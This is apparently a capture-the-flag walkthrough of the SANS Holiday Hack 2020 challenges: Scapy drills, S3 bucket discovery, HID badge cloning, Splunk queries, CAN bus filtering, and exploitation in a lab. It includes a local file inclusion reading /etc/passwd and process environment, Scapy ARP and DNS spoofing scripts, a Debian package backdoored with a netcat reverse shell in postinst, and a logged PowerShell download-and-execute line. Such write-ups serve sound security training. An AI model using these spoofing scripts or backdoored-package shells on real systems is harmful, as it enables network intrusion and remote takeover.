['_PickleType', '__all_slots__', '__bool__', '__bytes__', '__class__', '__contains__', '__deepcopy__', '__delattr__', '__delitem__', '__dict__', '__dir__', '__div__', '__doc__', '__eq__', '__format__', '__ge__', '__getattr__', '__getattribute__', '__getitem__', '__getstate__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__iter__', '__iterlen__', '__le__', '__len__', '__lt__', '__module__', '__mul__', '__ne__', '__new__', '__nonzero__', '__rdiv__', '__reduce__', '__reduce_ex__', '__repr__', '__rmul__', '__rtruediv__', '__setattr__', '__setitem__', '__setstate__', '__sizeof__', '__slots__', '__str__', '__subclasshook__', '__truediv__', '__weakref__', '_answered', '_defrag_pos', '_do_summary', '_name', '_overload_fields', '_pkt', '_resolve_alias', '_show_or_dump', '_superdir', 'add_payload', 'add_underlayer', 'aliastypes', 'answers', 'build', 'build_done', 'build_padding', 'build_ps', 'canvas_dump', 'class_default_fields', 'class_default_fields_ref', 'class_dont_cache', 'class_fieldtype', 'class_packetfields', 'clear_cache', 'clone_with', 'command', 'convert_packet', 'convert_packets', 'convert_to', 'copy', 'copy_field_value', 'copy_fields_dict', 'decode_payload_as', 'default_fields', 'default_payload_class', 'delfieldval', 'deprecated_fields', 'direction', 'dispatch_hook', 'display', 'dissect', 'dissection_done', 'do_build', 'do_build_payload', 'do_build_ps', 'do_dissect', 'do_dissect_payload', 'do_init_cached_fields', 'do_init_fields', 'dst', 'explicit', 'extract_padding', 'fields', 'fields_desc', 'fieldtype', 'firstlayer', 'fragment', 'from_hexcap', 'get_field', 'getfield_and_val', 'getfieldval', 'getlayer', 'guess_payload_class', 'hashret', 'haslayer', 'hide_defaults', 'init_fields', 'iterpayloads', 'lastlayer', 'layers', 'lower_bonds', 'match_subclass', 'mysummary', 'name', 'original', 'overload_fields', 'overloaded_fields', 'packetfields', 'payload', 'payload_guess', 'pdfdump', 'post_build', 'post_dissect', 'post_dissection', 'post_transforms', 'pre_dissect', 'prepare_cached_fields', 'psdump', 'raw_packet_cache', 'raw_packet_cache_fields', 'remove_payload', 'remove_underlayer', 'route', 'self_build', 'sent_time', 'setfieldval', 'show', 'show2', 'show_indent', 'show_summary', 'sniffed_on', 'sprintf', 'src', 'summary', 'svgdump', 'time', 'type', 'underlayer', 'update_sent_time', 'upper_bonds', 'wirelen']

getlayer looks like it’s what we need, since we’re after just the TCP layer.

>>> TCP_PACKETS[1].getlayer(TCP)
<TCP  sport=ftp dport=1137 seq=3334930753 ack=3753095935 dataofs=7 reserved=0 flags=SA window=16384 chksum=0x6151 urgptr=0 options=[('MSS', 1452), ('NOP', None), ('NOP', None), ('SAckOK', b'')] |>

>>> task.submit(TCP_PACKETS[1].getlayer(TCP))
Correct! Most of the major fields like Ether, IP, TCP, UDP, ICMP, DNS, DNSQR, DNSRR, Raw, etc... can be accessed this way. Ex - pkt[IP][TCP]

Change the source IP address of the first packet found in UDP_PACKETS to and then submit this modified packet

Combining what we’ve learned so far, I did the following to change the src attribute of the IP layer:

>>> my_packet = UDP_PACKETS[0]

>>> my_packet[IP].src = ""

>>> task.submit(my_packet)
Correct! You can change ALL scapy packet attributes using this method.

Submit the password "task.submit('elf_password')" of the user alabaster as found in the packet list TCP_PACKETS.

Using a Python list comprehension, I can quickly view the payload of all the packets in that list:

>>> [packet[TCP].payload for packet in TCP_PACKETS]
[, , , <Raw  load='220 North Pole FTP Server\r\n' |>, <Raw  load='USER alabaster\r' |>, <Raw  load='331 Password required for alabaster.\r' |>, <Raw  load='PASS echo\r\n' |>, <Raw  load='230 User alabaster logged in.\r' |>]

>>> task.submit("echo")
Correct! Here is some really nice list comprehension that will grab all the raw payloads from tcp packets:
[pkt[Raw].load for pkt in TCP_PACKETS if Raw in pkt]

The ICMP_PACKETS variable contains a packet list of several icmp echo-request and icmp echo-reply packets. Submit only the ICMP chksum value from the second packet in the ICMP_PACKETS list.

Using the same logic as above, we can easily access the chksum attribute:

>>> ICMP_PACKETS[1][ICMP].chksum

>>> task.submit(19524)
Correct! You can access the ICMP chksum value from the second packet using ICMP_PACKETS[1][ICMP].chksum .

Submit the number of the choice below that would correctly create a ICMP echo request packet with a destination IP of stored in the variable named "pkt"
1. pkt = Ether(src='')/ICMP(type="echo-request")
2. pkt = IP(src='')/ICMP(type="echo-reply")
3. pkt = IP(dst='')/ICMP(type="echo-request")

The trick in this question is that, while ICMP is a layer 3 protocol just like IP, it still makes use of the IP layer, making the third option correct.

>>> task.submit(3)
Correct! Once you assign the packet to a variable named "pkt" you can then use that variable to send or manipulate your created packet.

Create and then submit a UDP packet with a dport of 5000 and a dst IP of (all other packet attributes can be unspecified)

Easy enough!

>>> my_packet = IP(dst="")/UDP(dport=5000)

>>> task.submit(my_packet)
Correct! Your UDP packet creation should look something like this:
pkt = IP(dst="")/UDP(dport=5000)

Create and then submit a UDP packet with a dport of 53, a dst IP of, and is a DNS query with a qname of "elveslove.santa". (all other packet attributes can be unspecified)

I did have to look up how to build a DNS query. I mostly referred to this GitHub post

>>> my_packet = IP(dst="")/UDP(dport=53)/DNS(qd=DNSQR(qname="elveslove.santa"))

>>> task.submit(my_packet)
Correct! Your UDP packet creation should look something like this:
pkt = IP(dst="")/UDP(dport=53)/DNS(rd=1,qd=DNSQR(qname="elveslove.santa"))

The variable ARP_PACKETS contains an ARP request and response packets. The ARP response (the second packet) has 3 incorrect fields in the ARP layer. Correct the second packet in ARP_PACKETS to be a proper ARP response and then task.submit(ARP_PACKETS) for inspection.

Taking a look at the packet in question, a few things stand out:

>>> my_packet = ARP_PACKETS[1]

>>> my_packet
<Ether  dst=00:16:ce:6e:8b:24 src=00:13:46:0b:22:ba type=ARP |<ARP  hwtype=0x1 ptype=IPv4 hwlen=6 plen=4 op=None hwsrc=ff:ff:ff:ff:ff:ff psrc= hwdst=ff:ff:ff:ff:ff:ff pdst= |<Padding  load='\xc0\xa8\x00r' |>>>

The hwsrc and hwdest fields in the ARP header don’t match the Ethernet frame. Additionally, the op field should be 2 - the opcode for an ARP reply.

>>> my_packet[ARP].op = 2

>>> my_packet[ARP].hwsrc = "00:13:46:0b:22:ba"

>>> my_packet[ARP].hwdst = "00:16:ce:6e:8b:24"

>>> ARP_PACKETS[1] = my_packet

>>> task.submit(ARP_PACKETS)
Great, you prepared all the present packets!

Congratulations, all pretty present packets properly prepared for processing!

Talking to Alabaster after succefully finishing the challenge, he says:

Great job! Thanks! Those skills might be useful to you later on! I’ve been trying those skills out myself on this other terminal. I’m pretty sure I can use tcpdump to sniff some packets. Then I’m going to try a machine-in-the-middle attack. Next, I’ll spoof a DNS response to point the host to my terminal. Then I want to respond to its HTTP request with something I’ll cook up. I’m almost there, but I can’t quite get it. I could use some help! For privacy reasons though, I can’t let you access this other terminal. I do plan to ask Santa for a hand with it next time he’s nearby, though.

CTF Challenges


There is a photo of Santa’s Desk on that billboard with his personal gift list. What gift is Santa planning on getting Josh Wright for the holidays? Talk to Jingle Ringford at the bottom of the mountain for advice.

Billboard image

Jingle Redford:

Welcome! Hop in the gondola to take a ride up the mountain to Exit 19: Santa’s castle! Santa asked me to design the new badge, and he wanted it to look really cold - like it was frosty. Click your badge (the snowflake in the center of your avatar) to read your objectives. If you’d like to chat with the community, join us on Discord! We have specially appointed Kringle Koncierges as helpers; you can hit them up for help in the #general channel! If you get a minute, check out Ed Skoudis’ official intro to the con! Oh, and before you head off up the mountain, you might want to try to figure out what’s written on that advertising bilboard. Have you managed to read the gift list at the center? It can be hard when things are twirly. There are tools that can help! It also helps to select the correct twirly area.

In the initial staging area, there is a billboard toward the upper right that is just out of view. Clicking on it will open the billboard image linked above with a swirly bit in the middle, as Jingle told us.

Using GIMP and the “Pinch and Swirl” filter with a “whirl-factor” (that’s now trademarked) of -270, I can make out that Josh Wright wished for a Proxmark. Submitting that to objective one, we’re now done with the first step. Yay!

Jingle Redford:

Great work with that! I’m sure you’ll be able to help us with more challenges up at the castle!

Investigate S3 Bucket

When you unwrap the over-wrapped file, what text string is inside the package? Talk to Shinny Upatree in front of the castle for hints on this challenge.

Link to Challenge Terminal

As Shinny told us after finding the flaw in the Kringle Kiosk, Santa has lost his package in S3. In the terminal we’re dropped into, there’s a TIPS file in the home directory, which reads:

- If you need an editor to create a file you can run nano (vim is also
- Everything you need to solve this challenge is provided in this terminal

Going into the bucket_finder directory, I can see that we have a ruby script bucket_finder.rb, a README for that script, and a wordlist. Since the TIPS told us everything we need is in the container, I just ran ./bucket_finder.rb wordlist.
Bucket found but access denied: kringlecastle
Bucket found but access denied: wrapper
Bucket santa redirects to:
Bucket found but access denied: santa

Huh. I must be missing something, because Shinny told us everything I needed would be in the terminal. Looking back at the starting prompt, I think I see something relevant:

Can you help me? Santa has been experimenting with new wrapping technology, and
we've run into a ribbon-curling nightmare!
We store our essential data assets in the cloud, and what a joy it's been!
Except I don't remember where, and the Wrapper3000 is on the fritz!

Can you find the missing package, and unwrap it all the way?

Hints: Use the file command to identify a file type. You can also examine
tool help using the man command. Search all man pages for a string such as
a file extension using the apropos command.

To see this help again, run cat /etc/motd.

Since the name of the application is wrapper3000, I try adding that to my wordlist and rerunning the finder:

elf@d336a375e038:~/bucket_finder$ ./bucket_finder.rb -d wordlist
Bucket found but access denied: kringlecastle
Bucket found but access denied: wrapper
Bucket santa redirects to:
        Bucket found but access denied: santa
Bucket Found: wrapper3000 ( )

Bingo! Checking on the file type, we see that it’s text. At a glance, it looks like base64…

elf@d336a375e038:~/bucket_finder$ file wrapper3000/package 
wrapper3000/package: ASCII text, with very long lines
elf@d336a375e038:~/bucket_finder$ head wrapper3000/package 
elf@d336a375e038:~/bucket_finder$ cat wrapper3000/package | base64 -d | file -
/dev/stdin: Zip archive data, at least v1.0 to extract

Iterating upon this pattern to peel one layer at a time, we eventually end up with:

elf@d336a375e038:~/bucket_finder$ base64 -d wrapper3000/package | zcat | bzcat | tar -xO | xxd -r | xzcat | uncompress
North Pole: The Frostiest Place on Earth

Agreed - it is a pretty Frosty place.

Point-of-Sale Password Recovery

Help Sugarplum Mary in the Courtyard find the supervisor password for the point-of-sale terminal. What’s the password?

As Sugarplum let us know after we helped her, the PoS terminal application is an electron app. As I trust all the hackers behind the Holiday Hack, I downloaded the provided executable and double-clicked to install it. Using Windows Subsystem for Linux 2 (WSL2), I navigated to that directory in a bash terminal.

Poking around both inside the install folder and the Electron project documents, I discovered that the source for Electron apps is stored in resources/app.asar in an electron-specific archive format, asar. As the documentation says that the files are uncompressed, I should be able to simply read the files with more.

Indeed, I was very quickly able to find the following lines:

// Modules to control application life and create native browser window
const { app, BrowserWindow, ipcMain } = require('electron');
const path = require('path');

const SANTA_PASSWORD = 'santapass';

Passwords coded into the system are very bad for security, Santa. Straight to the naughty list for whatever elf wrote this!

Operate the Santavator

Talk to Pepper Minstix in the entryway to get some hints about the Santavator.

Having already talked to Pepper after finding her lost tmux session, I had started collecting things I saw on the ground while walking around the castle. In the main lobby, near the elevator, there’s an errant hex nut on the ground, while in the upper left corner of the courtyard there was a green lightbulb.

After talking to Sparkle in the Lobby, he gives us the key to the elevator with the following words of wisdom:

Have you had a chance to look at the Santavator yet? With that key, you can look under the panel and see the Super Santavator Sparkle Stream (S4). To get to different floors, you’ll need to power the various colored receivers. … There MAY be a way to bypass the S4 stream.

Key in hand, I take a look under the control panel. There’s a fingerprint reader in the upper right, presumably how we can bypass the S4 stream, and a beam of light in the middle. Using the candy cane fragment and green bulb to redirect green light into the green pipe, we can take the elevator up to the second floor - KringleCon Talks.

Immediately upon entering, I noticed the red bulb in the upper right of the room, and picked it up for future use.

Open HID Lock

Open the HID lock in the Workshop. Talk to Bushy Evergreen near the talk tracks for hints on this challenge. You may also visit Fitzy Shortstack in the kitchen for tips.

After gaining access to the workshop, I find Noel Boetie in the wrapping room, with a proxmark conveniently on the ground next to him. Combined with what Fitzy told us about who the trusted elves are, it seems like a good idea to go grab his badge details.

Walking up to Shimmy out in front by the Kringle Kiosk, I start up my Proxmox CLI. Using the auto command, I can easily view Shimmy’s badge details:

[magicdust] pm3 --> auto

[=] NOTE: some demods output possible binary
[=] if it finds something that looks like a tag
[=] False Positives ARE possible
[=] Checking for known tags...

#db# TAG ID: 2006e22f13 (6025) - Format Len: 26 bit - FC: 113 - Card: 6025

[+] Valid HID Prox ID found!

Going back to the workshop, we can then spoof back Shimmy’s badge by specifiying the facility code (113) and card number (6025), along with the specific type of card we’re simulating:

[magicdust] pm3 --> lf hid sim -w H10301 --fc 113 --cn 6025
[=] Simulating HID tag
[+] [H10301] - HID H10301 26-bit;  FC: 113  CN: 6025    parity: valid
[=] Stopping simulation after 10 seconds.

Unlocking the door and going toward the light, we step into an alternate universe where we are Santa. This is accompanied by the following narrative piece:

Heading toward the light, unexpected what you see next: An alternate reality, the vision that it reflects.

Splunk Challenge

Access the Splunk terminal in the Great Room. What is the name of the adversary group that Santa feared would attack KringleCon?

The elf standing next to the Splunk terminal, Angel Candysalt, lets us know:

Hey Santa, there’s some crazy stuff going on that we can see through our Splunk infrastructure. You better login and see what’s up.

Once we log into Splunk, our prompt is:

  1. Your goal is to answer the Challenge Question. You will include the answer to this question in your HHC write-up!
  2. Work your way through the training questions. Each one will help you get closer to the answering the Challenge Question.
  3. Characters in the KringleCon SOC Secure Chat are there to help you. If you see a blinking red dot next to a character, click on them and read the chat history to learn what they have to teach you! And don’t forget to scroll up in the chat history!
  4. To search the SOC data, just click the Search link in the navigation bar in the upper left hand corner of the page.
  5. This challenge is best enjoyed on a laptop or desktop computer with screen width of 1600 pixels or more.

Training Questions

  1. How many distinct MITRE ATT&CK techniques did Alice emulate? Alice:

    Sure thing, Santa. Well I stored every simulation in its own index so you can just use a Splunk search like | tstats count where index=* by index for starters!

Using the query Alice gave us, we get back a list of both MITRE techniques and subtechniques. Deduplicating every instance of subtechniques, we get 13 distinct techniques.

  1. What are the names of the two indexes that contain the results of emulating Enterprise ATT&CK technique 1059.003? (Put them in alphabetical order and separate them with a space)

Using the output of the previous search, we can simply search for the technique number 1059.003 on the web page to get the two indexes: t1059.003-main t1059.003-win

  1. One technique that Santa had us simulate deals with ‘system information discovery’. What is the full name of the registry key that is queried to determine the MachineGuid?

Using the MITRE ATT&CK webpage, I easily find that the tactic ID for System Information Discovery is 1082. Using this query, I can get the list of CommandLine values logged:

index="t1082-win" "HKEY" | CommandLine


1	REG  QUERY HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography /v MachineGuid
2	"C:\Windows\system32\cmd.exe" /c "REG QUERY HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography /v MachineGuid"

This makes it pretty plain that our answer is HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography

  1. According to events recorded by the Splunk Attack Range, when was the first OSTAP related atomic test executed? (Please provide the alphanumeric UTC timestamp.)

Searching simply for the string “OSTAP”, it’s easy to see that the first AtomicRedTeam test involving OSTAP is ` 2020-11-30T17:44:15Z`.

  1. One Atomic Red Team test executed by the Attack Range makes use of an open source package authored by frgnca on GitHub. According to Sysmon (Event Code 1) events in Splunk, what was the ProcessId associated with the first use of this component?

Doing some Google-fu, I was able to find this Atomic RedTeam test that utilizes this package from the referenced GitHub user. Searching for the attack string, “WindowsAudioDevice-Powershell-Cmdlet”, I can find that the first instance of this command had a pid of 0xe40. Note that the process ID is in hexadecimal, the default for windows logs, making the PID in base 10 3648.

  1. Alice ran a simulation of an attacker abusing Windows registry run keys. This technique leveraged a multi-line batch file that was also used by a few other techniques. What is the final command of this multi-line batch file used as part of this simulation?

Searching for the most often abused registry key for this purpose, CurrentVersion\\RunOnce, I easily found this powershell command:

set-itemproperty $RunOnceKey \""NextRun\"" 'powershell.exe \""IEX (New-Object Net.WebClient).DownloadString(`\""`\"")\""'}

Browsing to the GitHub URL, it’s easy to see that the last command is quser.

  1. According to x509 certificate events captured by Zeek (formerly Bro), what is the serial number of the TLS certificate assigned to the Windows domain controller in the attack range?

First, in order to find all of our zeek x509 logs available, I perform a search for index=* sourcetype="bro*". Looking at the structure of the returned entries, it seems that the source field is the file that the logs came from. As such, we can filter for X509 logs by adding source="/opt/zeek/logs/current/x509.log" to our query. As we’re specifically looking for the domain controller’s certificate serial, we can refine these results further by adding "certificate.subject"="CN=win-dc-748.attackrange.local".

With the resulting query, pasted below, it’s easy to identify that the serial needed is “55FCEEBB21270D9249E86F4B9DC7AA60”.

index=* sourcetype="bro*" source="/opt/zeek/logs/current/x509.log" "certificate.subject"="CN=win-dc-748.attackrange.local"

After answering the seventh question, Alice Bluebird tells us in chat:

This last one is encrypted using your favorite phrase! The base64 encoded ciphertext is:


It's encrypted with an old algorithm that uses a key. We don't care about RFC 7465 up here! I leave it to the elves to determine which one!

The RFC she mentions is titled “Prohibiting RC4 Cipher Suites”, leading me to believe that the cipher used was RC4.

As we’re not actually Santa, we ask Alice: “My favorite phrase?” She lets us know:

I can't believe the Splunk folks put it in their talk!

Challenge Question

In the KringleCon talk “Adversary Emulation and Automation” by Dave Herrald, they seem to indicate that Santa likes to “Stay Frosty”.

Using CyberChef, it’s simple to plug in our ciphertext, make a recipe to decode base64, then apply RC4 with the passphrase “Stay Frosty”, which results in the plaintext “The Lollipop Guild” - the answer to our final question.


Jack Frost is somehow inserting malicious messages onto the sleigh’s CAN-D bus. We need you to exclude the malicious messages and no others to fix the sleigh. Visit the NetWars room on the roof and talk to Wunorse Openslae for hints.

After helping out Wunorse, he told us this:

The brakes seem to shudder when I put some pressure on them, and the doors are acting oddly.

According to the source code, bus ID 19B is for door-related operations - notably locking and unlocking. Watching the CAN terminal for Santa’s Sleigh for a bit, we eventually see the following code cross the bus without the Sleigh even turned on:


Filtering that out should handle the less severe problem - the doors acting up.

In order to have a hope of seeing anything else going on, I temporarily exclude messages for the RPM bus - ID 244 - entirely.

Applying the brakes to 100, or 0x64, we can see that applying the brakes sends the following CAN message:


But - we can also see the following message being sent in, presumably causing the “shuddering” - 080#FFFFF3. To counteract that, I’ll exclude messages for bus ID 080 for any value less than 0 - I assume that the values are signed, making 0xFFFFF3 equal to -13.

With the following filters in place, we get a message that we’ve successfuly “defrosted” the sleigh:

ID  | Operator | Criterion
19B | Equals   | 0000000F2057
080 | Less     | 000000000000

Broken Tag Generator

Help Noel Boetie fix the Tag Generator in the Wrapping Room. What value is in the environment variable GREETZ? Talk to Holly Evergreen in the kitchen for help with this.

Now that we can pose as Santa, we can access the Tag Generator in the wrapping room.

Upon accessing the terminal, we’re faced with a web application to create gift tags. Out of a love for simplicity, I open up my browser’s development console to observe network requests. After uploading an image and opening the clipart slide-in, I noticed a GET request to The fact that the id parameter is a filename leads me to believe that this application is likely susceptible to a local file inclusion (LFI) exploitation - CWE-98. A quick test confirms this:

curl '
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin

As we’re trying to get an environment variable, I’m going to use the LFI to read the Ruby process’ memory by requesting the file /proc/self/environ.

micrictor@DESKTOP-5SEN25E:~/tag$ curl '' | tee
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   399  100   399    0     0   1385      0 --:--:-- --:--:-- --:--:--  1385

Our GREETZ is “JackFrostWasHere”.

ARP Shenanigans

Go to the NetWars room on the roof and help Alabaster Snowball get access back to a host using ARP. Retrieve the document at /NORTH_POLE_Land_Use_Board_Meeting_Minutes.txt. Who recused herself from the vote described on the document?

Booting into the terminal, we’re greeted by a TMUX session, with the bottom panel displaying a message:

Jack Frost has hijacked the host at with some custom malware.
Help the North Pole by getting command line access back to this host.

Read the file for information to help you in this endeavor.

Note: The terminal lifetime expires after 30 or more minutes so be 
sure to copy off any essential work you have done as you go.


Looking around our home directory seems like a good start:

guest@f5cfcd462290:~$ ls  debs  motd  pcaps  scripts
guest@f5cfcd462290:~/scripts$ ls             
guest@f5cfcd462290:~$ cd pcaps/
guest@f5cfcd462290:~/pcaps$ ls
arp.pcap  dns.pcap

Starting up a tcpdump session, we see our target box trying to find who has the IP

guest@f5cfcd462290:~$ tcpdump -nni eth0
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
04:51:38.365397 ARP, Request who-has tell, length 28
04:51:39.397380 ARP, Request who-has tell, length 28
04:51:40.445386 ARP, Request who-has tell, length 28

Taking a look at the script, we see the following:

from scapy.all import *
import netifaces as ni
import uuid

# Our eth0 ip
ipaddr = ni.ifaddresses('eth0')[ni.AF_INET][0]['addr']
# Our eth0 mac address
macaddr = ':'.join(['{:02x}'.format((uuid.getnode() >> i) & 0xff) for i in range(0,8*6,8)][::-1])

def handle_arp_packets(packet):
    # if arp request, then we need to fill this out to send back our mac as the response
    if ARP in packet and packet[ARP].op == 1:
        ether_resp = Ether(dst="SOMEMACHERE", type=0x806, src="SOMEMACHERE")

        arp_response = ARP(pdst="SOMEMACHERE")
        arp_response.op = 99999
        arp_response.plen = 99999
        arp_response.hwlen = 99999
        arp_response.ptype = 99999
        arp_response.hwtype = 99999

        arp_response.hwsrc = "SOMEVALUEHERE"
        arp_response.psrc = "SOMEVALUEHERE"
        arp_response.hwdst = "SOMEVALUEHERE"
        arp_response.pdst = "SOMEVALUEHERE"

        response = ether_resp/arp_response

        sendp(response, iface="eth0")

def main():
    # We only want arp requests
    berkeley_packet_filter = "(arp[6:2] = 1)"
    # sniffing for one packet that will be sent to a function, while storing none
    sniff(filter=berkeley_packet_filter, prn=handle_arp_packets, store=0, count=1)

if __name__ == "__main__":

Useful as a starting point, but I’ll need to make some edits to make it useful.

from scapy.all import *
import netifaces as ni
import uuid

# Our eth0 ip
ipaddr = ni.ifaddresses('eth0')[ni.AF_INET][0]['addr']
# Our eth0 mac address
macaddr = ':'.join(['{:02x}'.format((uuid.getnode() >> i) & 0xff) for i in range(0,8*6,8)][::-1])

def handle_arp_packets(packet):
    # if arp request, then we need to fill this out to send back our mac as the response
    if ARP in packet and packet[ARP].op == 1:
        ether_resp = Ether(dst=packet[Ether].src, type=0x806, src=macaddr)

        arp_response = ARP(pdst=packet[ARP].psrc)
        arp_response.op = 2

        arp_response.hwsrc = macaddr
        arp_response.psrc = packet[ARP].pdst 
        arp_response.hwdst = packet[Ether].src
        arp_response.pdst = packet[ARP].psrc

        response = ether_resp/arp_response

        sendp(response, iface="eth0")

def main():
    # We only want arp requests
    berkeley_packet_filter = "(arp[6:2] = 1)"
    sniff(filter=berkeley_packet_filter, prn=handle_arp_packets, store=0)

if __name__ == "__main__":

After successfully spoofing the ARP response, we can see this in tcpdump:

00:45:49.657393 ARP, Request who-has tell, length 28
00:45:49.673549 ARP, Reply is-at 02:42:0a:06:00:07, length 28
00:45:49.689886 IP > 0+ A? (32)

So, next we need to pretend we’re a DNS server and point the FQDN to ourselves. Taking a look at

from scapy.all import *
import netifaces as ni
import uuid

# Our eth0 IP
ipaddr = ni.ifaddresses('eth0')[ni.AF_INET][0]['addr']
# Our Mac Addr
macaddr = ':'.join(['{:02x}'.format((uuid.getnode() >> i) & 0xff) for i in range(0,8*6,8)][::-1])
# destination ip we arp spoofed
ipaddr_we_arp_spoofed = ""

def handle_dns_request(packet):
    # Need to change mac addresses, Ip Addresses, and ports below.
    # We also need
    eth = Ether(src="00:00:00:00:00:00", dst="00:00:00:00:00:00")   # need to replace mac addresses
    ip  = IP(dst="", src="")                          # need to replace IP addresses
    udp = UDP(dport=99999, sport=99999)                             # need to replace ports
    dns = DNS(
    dns_response = eth / ip / udp / dns
    sendp(dns_response, iface="eth0")

def main():
    berkeley_packet_filter = " and ".join( [
        "udp dst port 53",                              # dns
        "udp[10] & 0x80 = 0",                           # dns request
        "dst host {}".format(ipaddr_we_arp_spoofed),    # destination ip we had spoofed (not our real ip)
        "ether dst host {}".format(macaddr)             # our macaddress since we spoofed the ip to our mac
    ] )

    # sniff the eth0 int without storing packets in memory and stopping after one dns request
    sniff(filter=berkeley_packet_filter, prn=handle_dns_request, store=0, iface="eth0", count=1)

if __name__ == "__main__":

Just as before, this is mostly there but we need some tweaks. For simplicity, I’m going to combine my ARP and DNS responders into one script.

from scapy.all import *
import netifaces as ni
import uuid

# Our eth0 IP
ipaddr = ni.ifaddresses('eth0')[ni.AF_INET][0]['addr']
# Our Mac Addr
macaddr = ':'.join(['{:02x}'.format((uuid.getnode() >> i) & 0xff) for i in range(0,8*6,8)][::-1])
# destination ip we arp spoofed
ipaddr_we_arp_spoofed = ""

def handle_dns_request(packet):
    # Need to change mac addresses, Ip Addresses, and ports below.
    # We also need
    eth = Ether(src=packet[Ether].dst, dst=packet[Ether].src)
    ip  = IP(dst=packet[IP].src, src=ipaddr_we_arp_spoofed)
    udp = UDP(dport=packet[UDP].sport, sport=53)
    dns = DNS(
    dns_response = eth / ip / udp / dns
    sendp(dns_response, iface="eth0")

def handle_arp_packets(packet):
    ether_resp = Ether(dst=packet[Ether].src, type=0x806, src=macaddr)

    arp_response = ARP(pdst=packet[ARP].psrc)
    arp_response.op = 2

    arp_response.hwsrc = macaddr
    arp_response.psrc = packet[ARP].pdst 
    arp_response.hwdst = packet[Ether].src
    arp_response.pdst = packet[ARP].psrc

    response = ether_resp/arp_response

    sendp(response, iface="eth0")


def handle_packets(packet):
    if ARP in packet and packet[ARP].op == 1 and ARP_HANDLED < 5:
        ARP_HANDLED += 1
    elif DNS in packet and packet[DNS].opcode == 0 and packet[DNS].ancount == 0 and DNS_HANDLED < 5:
        DNS_HANDLED += 1

def main():
    sniff(prn=handle_packets, store=0, iface="eth0")

if __name__ == "__main__":

With both the ARP and DNS spoof running, we see the following in tshark:

58 2.461078184 →     TCP 74 58816 → 80 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=3558253731 TSecr=0 WS=128
59 2.461117528 →    TCP 54 80 → 58816 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0

It looks like our compromised host is trying to access a webpage at our intercepted domain. Using python3 -m http.server 80, it’s simple to stand up an HTTP listener to see what the request is:

guest@d2e4d36a41bd:~$ python3 -m http.server 80
Serving HTTP on port 80 ( ... - - [31/Dec/2020 01:54:29] code 404, message File not found - - [31/Dec/2020 01:54:29] "GET /pub/jfrost/backdoor/suriv_amd64.deb HTTP/1.1" 404 -

Looks like it’s trying to download a .deb archive, which will presumably immediately be installed. Good news for us, we already have some .debs in ~/debs:

guest@d2e4d36a41bd:~$ ls -l debs/
total 2548
-rw-r--r-- 1 guest guest   94748 Dec  5 00:00 gedit-common_3.36.1-1_all.deb
-rw-r--r-- 1 guest guest   14484 Dec  5 00:00 golang-github-huandu-xstrings-dev_1.2.1-1_all.deb
-rw-r--r-- 1 guest guest  269332 Dec  5 00:00 nano_4.8-1ubuntu1_amd64.deb
-rw-r--r-- 1 guest guest   61504 Dec  5 00:00 netcat-traditional_1.10-41.1ubuntu1_amd64.deb
-rw-r--r-- 1 guest guest 1662268 Dec  5 00:00 nmap_7.80+dfsg1-2build1_amd64.deb
-rw-r--r-- 1 guest guest  322680 Dec  5 00:00 socat_1.7.3.3-2_amd64.deb
-rw-r--r-- 1 guest guest  168956 Dec  5 00:00 unzip_6.0-25ubuntu1_amd64.deb

Since netcat is easily used to create a reverse shell, I go ahead and unpack that deb into a new directory, backdoor

guest@d2e4d36a41bd:~/debs$ dpkg-deb -R netcat-traditional_1.10-41.1ubuntu1_amd64.deb backdoor/
guest@d2e4d36a41bd:~/debs$ cd backdoor/
guest@d2e4d36a41bd:~/debs/backdoor$ ls
DEBIAN  bin  usr

Since I want to use netcat to build my reverse shell, I append a simple reverse shell to the prerm script, then repackage our backdoored deb file as “suriv_amd64.deb”. With the new file created, I need to put it in the right directory:

echo '/bin/nc.traditional 1337 -e /bin/sh' >> DEBIAN/postinst
cd ~/debs
dpkg-deb -b ./backdoor suriv_amd64.deb
mkdir -p pub/jfrost/backdoor/
cp suriv_amd64.deb pub/jfrost/backdoor/

Now, before starting our web server, I need to start a listener for the reverse shell, using nc -nvlp 1337. Once we start our spoofer and HTTP listener, we get a connect back in no time. Reading the file NORTH_POLE_Land_Use_Board_Meeting_Minutes.txt, we see:

Chairman Frost made the required announcement concerning the Open Public Meetings Act: Adequate notice of this meeting has been made -- displayed on the bulletin board next to the Pole, listed on the North Pole community website, and published in the North Pole Times newspaper -- for people who are interested in this meeting.

Review minutes for December 2020 meeting. Motion to accept – Mrs. Donner. Second – Superman.  Minutes approved.

OLD BUSINESS: No Old Business.

The board took up final discussions of the plans presented last year for the expansion of Santa’s Castle to include new courtyard, additional floors, elevator, roughly tripling the size of the current castle.  Architect Ms. Pepper reviewed the planned changes and engineering reports. Chairman Frost noted, “These changes will put a heavy toll on the infrastructure of the North Pole.”  Mr. Krampus replied, “The infrastructure has already been expanded to handle it quite easily.”  Chairman Frost then noted, “But the additional traffic will be a burden on local residents.”  Dolly explained traffic projections were all in alignment with existing roadways.  Chairman Frost then exclaimed, “But with all the attention focused on Santa and his castle, how will people ever come to refer to the North Pole as ‘The Frostiest Place on Earth?’”
  Mr. In-the-Box pointed out that new tourist-friendly taglines are always under consideration by the North Pole Chamber of Commerce, and are not a matter for this Board.  Mrs. Nature made a motion to approve.  Seconded by Mr. Cornelius.  Tanta Kringle recused herself from the vote given her adoption of Kris Kringle as a son early in his life.

Mother Nature
Yukon Cornelius
Ginger Breaddie
King Moonracer
Mrs. Donner
Charlie In the Box
Snow Miser
Alabaster Snowball
Queen of the Winter Spirits

                Jack Frost

Resolution carries.  Construction approved.


